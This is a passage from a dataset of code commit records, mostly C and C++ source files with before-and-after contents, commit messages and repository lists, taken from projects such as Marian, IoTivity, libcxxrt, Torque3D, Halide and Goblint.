values.reserve(dimEmb);\n        \/\/ @TODO: consider generating values once for all missing words and\n        \/\/ then use the generated numbers to bucket into embedding vectors\n        inits::distribution<std::uniform_real_distribution<float>>(\n            values, -0.1, 0.1);\n        embs.insert(pos, values.begin(), values.end());\n      }\n    }\n\n    return embs;\n  }\n};\n\n}  \/\/ namespace marian\n","subject":"Add reader for embedding vectors from word2vec","message":"Add reader for embedding vectors from word2vec\n","lang":"C","license":"mit","repos":"emjotde\/amunmt,amunmt\/marian,emjotde\/Marian,marian-nmt\/marian-train,emjotde\/amunn,DianaDespa\/marian-train,DianaDespa\/marian-train,amunmt\/marian,DianaDespa\/marian-train,emjotde\/Marian,marian-nmt\/marian-train,emjotde\/amunn,DianaDespa\/marian-train,emjotde\/amunmt,DianaDespa\/marian-train,emjotde\/amunmt,emjotde\/amunn,emjotde\/amunmt,marian-nmt\/marian-train,marian-nmt\/marian-train,emjotde\/amunn,marian-nmt\/marian-train,amunmt\/marian"}
{"commit":"2d6ced93beb3c575ae99f56372be7425dd197dae","old_file":"service\/basis\/common\/primitiveResource\/include\/internal\/AssertUtils.h","new_file":"service\/basis\/common\/primitiveResource\/include\/internal\/AssertUtils.h","old_contents":"","new_contents":"\/\/******************************************************************\n\/\/\n\/\/ Copyright 2015 Samsung Electronics All Rights Reserved.\n\/\/\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n#ifndef __PRIMITIVERESOURCE_ASSERTUTILS_H\n#define __PRIMITIVERESOURCE_ASSERTUTILS_H\n\n#include <cstdint>\n#include <octypes.h>\n\n#include <PrimitiveException.h>\n\nnamespace OIC\n{\n    namespace Service\n    {\n\n        inline void expectOCStackResult(OCStackResult actual, OCStackResult expected)\n        {\n            if (actual != expected)\n            {\n                throw PlatformException(actual);\n            }\n        }\n\n        inline void expectOCStackResultOK(OCStackResult actual)\n        {\n            expectOCStackResult(actual, OC_STACK_OK);\n        }\n\n    }\n}\n\n#endif \/\/ __PRIMITIVERESOURCE_ASSERTUTILS_H\n","subject":"Add assertion util to handle OCStackResult code with exception","message":"Add assertion util to handle OCStackResult code with exception\n\nChange-Id: I574da5d88abef73bf89c800bdf2a1bc10460d1e4\nSigned-off-by: coderhyme <528f34a2692ffbaf2ac758012cd3e3a426bd89e5@samsung.com>\nReviewed-on: https:\/\/gerrit.iotivity.org\/gerrit\/1249\nTested-by: jenkins-iotivity <09cb29e8a2b473a2c978382eec13ee06fa017bda@opendaylight.org>\nReviewed-by: Uze Choi <3a26c91d8a4a3c9e246e43339f4782bb2483aece@samsung.com>\n","lang":"C","license":"apache-2.0","repos":"santais\/iotivity,santais\/iotivity_1.1,iotivity\/iotivity,WojciechLuczkow\/iotivity,santais\/iotivity_1.1,rzr\/iotivity,santais\/iotivity_1.1,tienfuc\/iotivity-democlient-snap,tienfuc\/iotivity-democlient-snap,santais\/iotivity_1.1,rzr\/iotivity,santais\/iotivity_1.1.0,santais\/iotivity_1.1,tienfuc\/iotivity-democlient-snap,santais\/iotivity_1.1.0,tienfuc\/iotivity-democlient-snap,santais\/iotivity,santais\/iotivity_1.1,tienfuc\/iotivity-democlient-snap,WojciechLuczkow\/iotivity,santais\/iotivity_1.1,rzr\/iotivity,santais\/iotivity,iotivity\/iotivity,rzr\/iotivity,WojciechLuczkow\/iotivity,santais\/iotivity,iotivity\/iotivity,WojciechLuczkow\/iotivity,iotivity\/iotivity,santais\/iotivity_1.1.0,santais\/iotivity,WojciechLuczkow\/iotivity,santais\/iotivity_1.1.0,rzr\/iotivity,tienfuc\/iotivity-democlient-snap,tienfuc\/iotivity-democlient-snap,tienfuc\/iotivity-democlient-snap,santais\/iotivity_1.1.0,WojciechLuczkow\/iotivity,rzr\/iotivity,rzr\/iotivity,WojciechLuczkow\/iotivity,WojciechLuczkow\/iotivity,iotivity\/iotivity,santais\/iotivity_1.1.0,iotivity\/iotivity,santais\/iotivity_1.1,santais\/iotivity_1.1.0,tienfuc\/iotivity-democlient-snap,santais\/iotivity,iotivity\/iotivity,santais\/iotivity,iotivity\/iotivity,tienfuc\/iotivity-democlient-snap"}
{"commit":"fb4154cc57191d47239dfa44036d50e467879373","old_file":"cpplib\/mysociety_config.h","new_file":"cpplib\/mysociety_config.h","old_contents":"","new_contents":"\/\/\n\/\/ mysociety_config.cpp:\n\/\/ Read the terrible mySociety PHP format config files, as similar code for\n\/\/ other languages.\n\/\/\n\/\/ Copyright (c) 2010 UK Citizens Online Democracy. All rights reserved.\n\/\/ Email: francis@mysociety.org; WWW: http:\/\/www.mysociety.org\/\n\/\/\n\/\/ $Id: mysociety_error.h,v 1.4 2009-09-24 22:00:29 francis Exp $\n\/\/\n\n#include \"error.h\"\n\n#include <iostream>\n#include <fstream>\n\nvoid mysociety_read_conf(const std::string& mysociety_conf_file) {\n    setenv(\"MYSOCIETY_CONFIG_FILE_PATH\", mysociety_conf_file.c_str(), 1);\n\n    std::string tmp_php_script = (boost::format(\"\/tmp\/c-php-mysociety-conf-%d\") % getpid()).str();\n    {\n        std::ofstream out(tmp_php_script.c_str(), std::ios::out);\n        out << \n            \"#!\/usr\/bin\/php\\n\"\n            \"<?php\\n\"\n            \"$b = get_defined_constants();\\n\"\n            \"require(getenv(\\\"MYSOCIETY_CONFIG_FILE_PATH\\\"));\\n\"\n            \"$a = array_diff_assoc(get_defined_constants(), $b);\\n\"\n            \"foreach ($a as $k => $v) {\\n\"\n            \"    print \\\"$k=$v\\\\n\\\";\\n\"\n            \"}\\n\"\n            \"?>\\n\";\n    }\n    chmod(tmp_php_script.c_str(), 0555);\n\n    FILE * f = popen(tmp_php_script.c_str(), \"r\");\n    if (f == 0) {\n        throw Exception(\"Couldn't open temporary mySociety conf PHP script\");\n    }\n    const int BUFSIZE = 2048;\n    char buf[BUFSIZE];\n    while(fgets(buf, BUFSIZE,  f)) {\n        std::string line = std::string(buf);\n        std::string::size_type found = line.find_first_of(\"=\");\n        if (found == std::string::npos) {\n            throw Exception(\"config output had line without = in it\");\n        }\n        std::string key = line.substr(0, found);\n        std::string value = line.substr(found + 1, line.size() - found - 2);\n        debug_log(boost::format(\"mySociety config loaded: %s %s\") % key % value);\n\n        setenv(key.c_str(), value.c_str(), 1);\n    }\n\n    pclose(f); \n}\n\n\n\n","subject":"Include dependencies, remove excess debugging.","message":"Include dependencies, remove excess debugging.\n","lang":"C","license":"agpl-3.0","repos":"MorusAB\/commonlib-fmg,MorusAB\/commonlib-fmg,MorusAB\/commonlib-fmg,MorusAB\/commonlib-fmg,MorusAB\/commonlib-fmg,MorusAB\/commonlib-fmg,MorusAB\/commonlib-fmg,MorusAB\/commonlib-fmg"}
{"commit":"0d062b5d2f63e051cafde0eded86309fca2ad005","old_file":"5_TimerExternalClockCounter.c","new_file":"5_TimerExternalClockCounter.c","old_contents":"","new_contents":"\/*\n * main.c\n *\n *  Created on: 2 Nov 2016\n *      Author: rafpe\n *\/\n#include \"stm32f4xx.h\"\n#include \"stm32f407xx.h\"\n\n\n\n\nint main(void)\n{\n\tvolatile uint32_t delay;\n\n\tRCC->AHB1ENR |= RCC_AHB1ENR_GPIODEN | RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOAEN;\t\/\/ enable the clock for GPIOs\n\tRCC->APB2ENR |= RCC_APB2ENR_SYSCFGEN | RCC_APB2ENR_TIM1EN;\t\t\t\t\t\t\t\/\/ enable SYSCFG for external interrupts & TIM1\n\n\t__DSB();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/ Data Synchronization Barrier\n\n\tGPIOD->MODER = (1 << 26); \t\t\t\t\/\/ PIND to output mode\n    GPIOE->MODER = GPIO_MODER_MODER1_0;\t\t\/\/ PE1 - output\n\n\n\t\/*\n\t * We start off with setting this is AF. Once done we map it to AF.\n\t * PA8 to be used as alternate function TIM1_CH1\n\t *\n\t * AF details you always find in datasheet\n\t * AF mapping you will find in RM\n\t *\/\n\tGPIOA->MODER |= GPIO_MODER_MODER8_1; \t\/\/ PA8 - AF\n\tGPIOA->AFR[1] = ( (GPIOA->AFR[1] && 0xFFFFFFF0 ) | 0x1);\n\n\n\tTIM1->CCMR1  = TIM_CCMR1_CC1S_0;\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/ CC1 channel is configured as output\n\tTIM1->CCER \t = TIM_CCER_CC1P |\n\t\t\t       TIM_CCER_CC1NP;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/ Set up rising edge polarity\n\n\tTIM1->SMCR \t = TIM_SMCR_TS_0 | TIM_SMCR_TS_2 |\t\t\t\t\t\t\t\t\t\t\/\/ Filtered Timer Input 1 (TI1FP1)\n\t\t\t\t   TIM_SMCR_SMS;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/ External Clock Mode 1\n\n\n\tTIM1->ARR \t= 10;\t\t\t\t\t\t\/\/ How many values we will count\n\tTIM1->DIER \t= TIM_DIER_UIE;\t\t\t\t\/\/ Update Event Interrupt\n\tTIM1->CR1\t= TIM_CR1_CEN;\t\t\t\t\/\/ Enable & Start timer\n\n\tNVIC_EnableIRQ(TIM1_UP_TIM10_IRQn);\t\t\/\/ Set up interrupt handler\n\n\n\n\n\tSysTick_Config(1600000);\n\n\twhile (1)\n\t{\n\n\t} \/* while *\/\n\n\n} \/* main *\/\n\n\n\nvoid TIM1_UP_TIM10_IRQHandler(void)\n{\n\tif (TIM1->SR & TIM_SR_UIF)\n\t{\n\t\tGPIOD->ODR ^= (1 << 13);\t\/\/ Blink\n\t\tTIM1->SR = ~TIM_SR_UIF;\t\t\/\/ clear flag - rc_w0 => Read Clear Write 0\n\t}\n}\n\nvoid SysTick_Handler(void)\n{\n\tGPIOE->ODR ^= (1 << 1);\t\t\/\/ PE1 - flapp\n}\n\n","subject":"Add timer with external clock count","message":"Add timer with external clock count\n","lang":"C","license":"apache-2.0","repos":"RafPe\/STM32F407VGTx-examples"}
{"commit":"3b2a9a00dd4267fcffd370390037001f912347a3","old_file":"src\/cxa_atexit.c","new_file":"src\/cxa_atexit.c","old_contents":"#ifdef __sun__\n#include <pthread.h>\n#include <stdlib.h>\n\nstatic struct atexit_handler {\n  void (*f)(void *);\n  void *p;\n  void *d;\n  struct atexit_handler *next;\n} *head;\n\nstatic pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;\n\nint __cxa_atexit( void (*f)(void *), void *p, void *d) {\n  pthread_mutex_lock(&lock);\n  struct atexit_handler *h = malloc(sizeof(*d));\n  if (!h) {\n    pthread_mutex_unlock(&lock);\n    return 1;\n  }\n  h->f = f;\n  h->p = p;\n  h->d = d;\n  h->next = head;\n  head = h;\n  pthread_mutex_unlock(&lock);\n  return 0;\n}\n\nvoid __cxa_finalize(void *d ) {\n  pthread_mutex_lock(&lock);\n  struct atexit_handler **last = &head;\n  for (struct atexit_handler *h = head ; h ; h = h->next) {\n    if ((h->d == d) || (d == 0)) {\n      *last = h->next;\n      h->f(h->p);\n      free(h);\n    } else {\n      last = &head->next;\n    }\n  }\n  pthread_mutex_unlock(&lock);\n}\n#endif\n","new_contents":"#ifdef __sun__\n#include <pthread.h>\n#include <stdlib.h>\n\nstatic struct atexit_handler {\n  void (*f)(void *);\n  void *p;\n  void *d;\n  struct atexit_handler *next;\n} *head;\n\nstatic pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;\n\nint __cxa_atexit( void (*f)(void *), void *p, void *d) {\n  pthread_mutex_lock(&lock);\n  struct atexit_handler *h = malloc(sizeof(*h));\n  if (!h) {\n    pthread_mutex_unlock(&lock);\n    return 1;\n  }\n  h->f = f;\n  h->p = p;\n  h->d = d;\n  h->next = head;\n  head = h;\n  pthread_mutex_unlock(&lock);\n  return 0;\n}\n\nvoid __cxa_finalize(void *d ) {\n  pthread_mutex_lock(&lock);\n  struct atexit_handler **last = &head;\n  for (struct atexit_handler *h = head ; h ; h = h->next) {\n    if ((h->d == d) || (d == 0)) {\n      *last = h->next;\n      h->f(h->p);\n      free(h);\n    } else {\n      last = &h->next;\n    }\n  }\n  pthread_mutex_unlock(&lock);\n}\n#endif\n","subject":"Fix bugs caused by writing code while half asleep.","message":"Fix bugs caused by writing code while half asleep.\n","lang":"C","license":"bsd-2-clause","repos":"cemeyer\/libcxxrt,xin3liang\/platform_external_libcxxrt,sudosurootdev\/external_libcxxrt,cemeyer\/libcxxrt,xin3liang\/platform_external_libcxxrt,vegard\/libcxxrt,sudosurootdev\/external_libcxxrt,vegard\/libcxxrt,sudosurootdev\/external_libcxxrt,cemeyer\/libcxxrt,xin3liang\/platform_external_libcxxrt,vegard\/libcxxrt"}
{"commit":"7fc9119df40544c5048308be5a6ff46b61213972","old_file":"src\/validation.h","new_file":"src\/validation.h","old_contents":"\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2015 The Bitcoin Core developers\n\/\/ Copyright (c) 2014-2017 The Dash Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_VALIDATION_H\n#define BITCOIN_VALIDATION_H\n\n#include <stdint.h>\n#include <string>\n\nstatic const int64_t DEFAULT_MAX_TIP_AGE = 120; \/\/ ~45 blocks behind -> 2 x fork detection time, was 24 * 60 * 60 in bitcoin\n\nextern int64_t nMaxTipAge;\n\nclass CBlockIndex;\n\nFILE* OpenBlockFile(unsigned int nFile, unsigned int nBlockPos, const char* pszMode=\"rb\");\nFILE* AppendBlockFile(unsigned int& nFileRet);\n\nbool IsInitialBlockDownload();\n\n\/** Guess verification progress (as a fraction between 0.0=genesis and 1.0=current tip). *\/\ndouble GuessVerificationProgress(CBlockIndex* pindex);\n\n#endif \/\/ BITCOIN_VALIDATION_H\n","new_contents":"\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2015 The Bitcoin Core developers\n\/\/ Copyright (c) 2014-2017 The Dash Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_VALIDATION_H\n#define BITCOIN_VALIDATION_H\n\n#include <stdint.h>\n#include <string>\n\nstatic const int64_t DEFAULT_MAX_TIP_AGE = 1 * 60 * 60; \/\/ ~45 blocks behind -> 2 x fork detection time, was 24 * 60 * 60 in bitcoin\n\nextern int64_t nMaxTipAge;\n\nclass CBlockIndex;\n\nFILE* OpenBlockFile(unsigned int nFile, unsigned int nBlockPos, const char* pszMode=\"rb\");\nFILE* AppendBlockFile(unsigned int& nFileRet);\n\nbool IsInitialBlockDownload();\n\n\/** Guess verification progress (as a fraction between 0.0=genesis and 1.0=current tip). *\/\ndouble GuessVerificationProgress(CBlockIndex* pindex);\n\n#endif \/\/ BITCOIN_VALIDATION_H\n","subject":"Put back default max tip age","message":"Put back default max tip age\n","lang":"C","license":"mit","repos":"neutroncoin\/neutron,neutroncoin\/neutron,neutroncoin\/neutron,neutroncoin\/neutron"}
{"commit":"08622e9601da87b2c663042a06ba404e6bc1577a","old_file":"Engine\/source\/gfx\/gl\/tGL\/tGL.h","new_file":"Engine\/source\/gfx\/gl\/tGL\/tGL.h","old_contents":"\/\/-----------------------------------------------------------------------------\n\/\/ Copyright (c) 2012 GarageGames, LLC\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\/\/-----------------------------------------------------------------------------\n\n#ifndef T_GL_H\n#define T_GL_H\n#include \"GL\/glew.h\"\n\n#define gglHasExtension(EXTENSION) GLEW_##EXTENSION\n\n#endif\n\n","new_contents":"\/\/-----------------------------------------------------------------------------\n\/\/ Copyright (c) 2012 GarageGames, LLC\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\/\/-----------------------------------------------------------------------------\n\n#ifndef T_GL_H\n#define T_GL_H\n#include \"GL\/glew.h\"\n\n\/\/ Slower but reliably detects extensions\n#define gglHasExtension(EXTENSION) glewGetExtension(\"GL_##EXTENSION\")\n\n#endif\n\n","subject":"Use different extension detection mechanism","message":"Use different extension detection mechanism\n\nI got this from looking at the code from the glew utility 'glewinfo' on my system it reported the following for GL_ARB_geometry_shader4:  OK [MISSING]. This lead me to believe that there are two different ways of determining extensions. The first 'OK' seems to refer to the entrypoint existing while the second one seems to refer to the extension being available.\n\nThe difference is this:\nThe first OK comes from : GLEW_ARB_geometry_shader4 the global whereas the second 'MISSING' comes from glewGetExtension(\"GL_ARB_geometry_shader4\"). By replacing the gglHasExtension I got the desired result.\n\nWe may want to implement some caching if we want to keep using GLEW perhaps?\n\nAnyway I suggest this merely as a test, I'm not sure if this is a viable long-term solution.\n","lang":"C","license":"mit","repos":"ValtoGameEngines\/Torque3D,JeffProgrammer\/Torque3D,Will-of-the-Wisp\/Torque3D,aaravamudan2014\/Torque3D,aaravamudan2014\/Torque3D,ValtoGameEngines\/Torque3D,Will-of-the-Wisp\/Torque3D,GarageGames\/Torque3D,lukaspj\/Speciality,Azaezel\/Torque3D,rextimmy\/Torque3D,Duion\/Torque3D,JeffProgrammer\/Torque3D,John3\/Torque3D,Bloodknight\/Torque3D,Phantom139\/Torque3D,aaravamudan2014\/Torque3D,elfprince13\/Torque3D,Phantom139\/Torque3D,Torque3D-GameEngine\/Torque3D,Phantom139\/Torque3D,chaigler\/Torque3D,elfprince13\/Torque3D,chaigler\/Torque3D,elfprince13\/Torque3D,Will-of-the-Wisp\/Torque3D,aaravamudan2014\/Torque3D,Duion\/Torque3D,Azaezel\/Torque3D,lukaspj\/Speciality,John3\/Torque3D,ValtoGameEngines\/Torque3D,FITTeamIndecisive\/Torque3D,rextimmy\/Torque3D,elfprince13\/Torque3D,elfprince13\/Torque3D,JeffProgrammer\/Torque3D,GarageGames\/Torque3D,JeffProgrammer\/Torque3D,Bloodknight\/Torque3D,Duion\/Torque3D,Phantom139\/Torque3D,chaigler\/Torque3D,Torque3D-GameEngine\/Torque3D,Bloodknight\/Torque3D,Will-of-the-Wisp\/Torque3D,Bloodknight\/Torque3D,John3\/Torque3D,Phantom139\/Torque3D,lukaspj\/Speciality,John3\/Torque3D,aaravamudan2014\/Torque3D,aaravamudan2014\/Torque3D,Phantom139\/Torque3D,Bloodknight\/Torque3D,Phantom139\/Torque3D,aaravamudan2014\/Torque3D,JeffProgrammer\/Torque3D,Azaezel\/Torque3D,Torque3D-GameEngine\/Torque3D,FITTeamIndecisive\/Torque3D,Will-of-the-Wisp\/Torque3D,elfprince13\/Torque3D,lukaspj\/Speciality,ValtoGameEngines\/Torque3D,Duion\/Torque3D,Phantom139\/Torque3D,John3\/Torque3D,FITTeamIndecisive\/Torque3D,elfprince13\/Torque3D,Azaezel\/Torque3D,rextimmy\/Torque3D,Bloodknight\/Torque3D,Will-of-the-Wisp\/Torque3D,rextimmy\/Torque3D,rextimmy\/Torque3D,chaigler\/Torque3D,FITTeamIndecisive\/Torque3D,JeffProgrammer\/Torque3D,lukaspj\/Speciality,aaravamudan2014\/Torque3D,GarageGames\/Torque3D,aaravamudan2014\/Torque3D,John3\/Torque3D,Azaezel\/Torque3D,John3\/Torque3D,rextimmy\/Torque3D,Bloodknight\/Torque3D,GarageGames\/Torque3D,Duion\/Torque3D,Will-of-the-Wisp\/Torque3D,Torque3D-GameEngine\/Torque3D,rextimmy\/Torque3D,Torque3D-GameEngine\/Torque3D,JeffProgrammer\/Torque3D,FITTeamIndecisive\/Torque3D,Azaezel\/Torque3D,chaigler\/Torque3D,John3\/Torque3D,elfprince13\/Torque3D,Phantom139\/Torque3D,Azaezel\/Torque3D,lukaspj\/Speciality,GarageGames\/Torque3D,lukaspj\/Speciality,John3\/Torque3D,ValtoGameEngines\/Torque3D,GarageGames\/Torque3D,chaigler\/Torque3D,lukaspj\/Speciality,Azaezel\/Torque3D,Torque3D-GameEngine\/Torque3D,Will-of-the-Wisp\/Torque3D,Will-of-the-Wisp\/Torque3D,lukaspj\/Speciality,Duion\/Torque3D,Torque3D-GameEngine\/Torque3D,GarageGames\/Torque3D,FITTeamIndecisive\/Torque3D,Torque3D-GameEngine\/Torque3D,FITTeamIndecisive\/Torque3D,ValtoGameEngines\/Torque3D,ValtoGameEngines\/Torque3D,FITTeamIndecisive\/Torque3D,Bloodknight\/Torque3D,Azaezel\/Torque3D,chaigler\/Torque3D,John3\/Torque3D,rextimmy\/Torque3D,elfprince13\/Torque3D,chaigler\/Torque3D,Torque3D-GameEngine\/Torque3D,Will-of-the-Wisp\/Torque3D,ValtoGameEngines\/Torque3D,GarageGames\/Torque3D,chaigler\/Torque3D,rextimmy\/Torque3D,Will-of-the-Wisp\/Torque3D,Torque3D-GameEngine\/Torque3D,elfprince13\/Torque3D,rextimmy\/Torque3D,JeffProgrammer\/Torque3D,Bloodknight\/Torque3D,Azaezel\/Torque3D,Duion\/Torque3D,ValtoGameEngines\/Torque3D,Duion\/Torque3D,ValtoGameEngines\/Torque3D,Phantom139\/Torque3D,lukaspj\/Speciality,Duion\/Torque3D,FITTeamIndecisive\/Torque3D,FITTeamIndecisive\/Torque3D,aaravamudan2014\/Torque3D,Duion\/Torque3D,GarageGames\/Torque3D"}
{"commit":"f408c35b1716e255634a2a2e9b3366b47eb7b3d7","old_file":"test\/Analysis\/misc-driver.c","new_file":"test\/Analysis\/misc-driver.c","old_contents":"\/\/ RUN: %clang -### --analyze %s 2>&1 | FileCheck %s\n\/\/ CHECK: -D__clang_analyzer__\n","new_contents":"\/\/ RUN: %clang --analyze %s\n\n#ifndef __clang_analyzer__\n#error __clang_analyzer__ not defined\n#endif\n","subject":"Revert \"[static analyzer][test] Test directly that driver sets D__clang_analyzer__\"","message":"Revert \"[static analyzer][test] Test directly that driver sets D__clang_analyzer__\"\n\nThis reverts commit c7541903d72765a38808e9973572a8d50c9d94fb.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@372685 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"1dec7cc40215a7f692987749e15c05062fe11d4f","old_file":"delay.h","new_file":"delay.h","old_contents":"#ifndef DELAY_H\n#define DELAY_H\n\n#include <stdlib.h>\n\ntypedef struct drand48_data delay_t;\n\nstatic inline void delay_init(delay_t * state, int id)\n{\n  srand48_r(id + 1, state);\n}\n\nstatic inline void delay_exec(delay_t * state)\n{\n  long n;\n  lrand48_r(state, &n);\n\n  int j;\n  for (j = 50; j < 50 + n % 100; ++j) {\n    __asm__ (\"nop\");\n  }\n}\n\n#endif \/* end of include guard: DELAY_H *\/\n","new_contents":"#ifndef DELAY_H\n#define DELAY_H\n\n#include <time.h>\n#include <stdlib.h>\n\ntypedef struct drand48_data delay_t;\n\nstatic inline void delay_init(delay_t * state, int id)\n{\n  srand48_r(time(NULL) + id, state);\n}\n\nstatic inline void delay_exec(delay_t * state)\n{\n  long n;\n  lrand48_r(state, &n);\n\n  int j;\n  for (j = 50; j < 50 + n % 100; ++j) {\n    __asm__ (\"nop\");\n  }\n}\n\n#endif \/* end of include guard: DELAY_H *\/\n","subject":"Use time based seed for generating random numbers.","message":"Use time based seed for generating random numbers.\n","lang":"C","license":"mit","repos":"chaoran\/fast-wait-free-queue,chaoran\/fast-wait-free-queue,chaoran\/hpc-queue,chaoran\/fast-wait-free-queue,chaoran\/hpc-queue,chaoran\/hpc-queue"}
{"commit":"d829f7b401a34e1b97bf473518014bce7ec606ac","old_file":"src\/runtime\/scoped_mutex_lock.h","new_file":"src\/runtime\/scoped_mutex_lock.h","old_contents":"","new_contents":"#ifndef HALIDE_RUNTIME_MUTEX_H\n#define HALIDE_RUNTIME_MUTEX_H\n\n#include \"HalideRuntime.h\"\n\n\/\/ Avoid ODR violations\nnamespace {\n\n\/\/ An RAII mutex\nstruct ScopedMutexLock {\n    halide_mutex *mutex;\n\n    ScopedMutexLock(halide_mutex *mutex) : mutex(mutex) {\n        halide_mutex_lock(mutex);\n    }\n\n    ~ScopedMutexLock() {\n        halide_mutex_unlock(mutex);\n    }\n};\n\n}\n\n#endif\n","subject":"Add an OS mutex to Halide runtime.","message":"Add an OS mutex to Halide runtime.\n\nDocument an issue with the POSIX thread pool.\n\nEnsure memoization cache is cleaned up when a JITted module is\nshutdown. (Also provides a way to clear the cache from AOT code.)\n\n\nFormer-commit-id: 67b04dc5ae26ee489f051e7ead819f482d2fccb6","lang":"C","license":"mit","repos":"Trass3r\/Halide,Trass3r\/Halide,darkbuck\/Halide,darkbuck\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide,Trass3r\/Halide,Trass3r\/Halide,darkbuck\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide"}
{"commit":"7def4047c2c74d530e19e33708c890aacd243c40","old_file":"tests\/regression\/13-privatized\/71-branched-thread-creation-priv.c","new_file":"tests\/regression\/13-privatized\/71-branched-thread-creation-priv.c","old_contents":"","new_contents":"extern int __VERIFIER_nondet_int();\n\n#include <pthread.h>\n#include <assert.h>\n\nint global = 5;\npthread_mutex_t m = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  return NULL;\n}\n\nint main() {\n  int r = __VERIFIER_nondet_int();\n  pthread_t id;\n\n  if (r) {\n    pthread_create(&id, NULL, t_fun, NULL);\n  }\n  else {\n    global = 10;\n  }\n  \/\/ sync join needs to publish global also to protected\/mutex_inits like enter_multithreaded\n\n  pthread_mutex_lock(&m);\n  assert(global == 5); \/\/ UNKNOWN!\n  pthread_mutex_unlock(&m);\n\n  return 0;\n}","subject":"Add branched thread creation privatization test, where protected and mutex_inits are unsound","message":"Add branched thread creation privatization test, where protected and mutex_inits are unsound\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
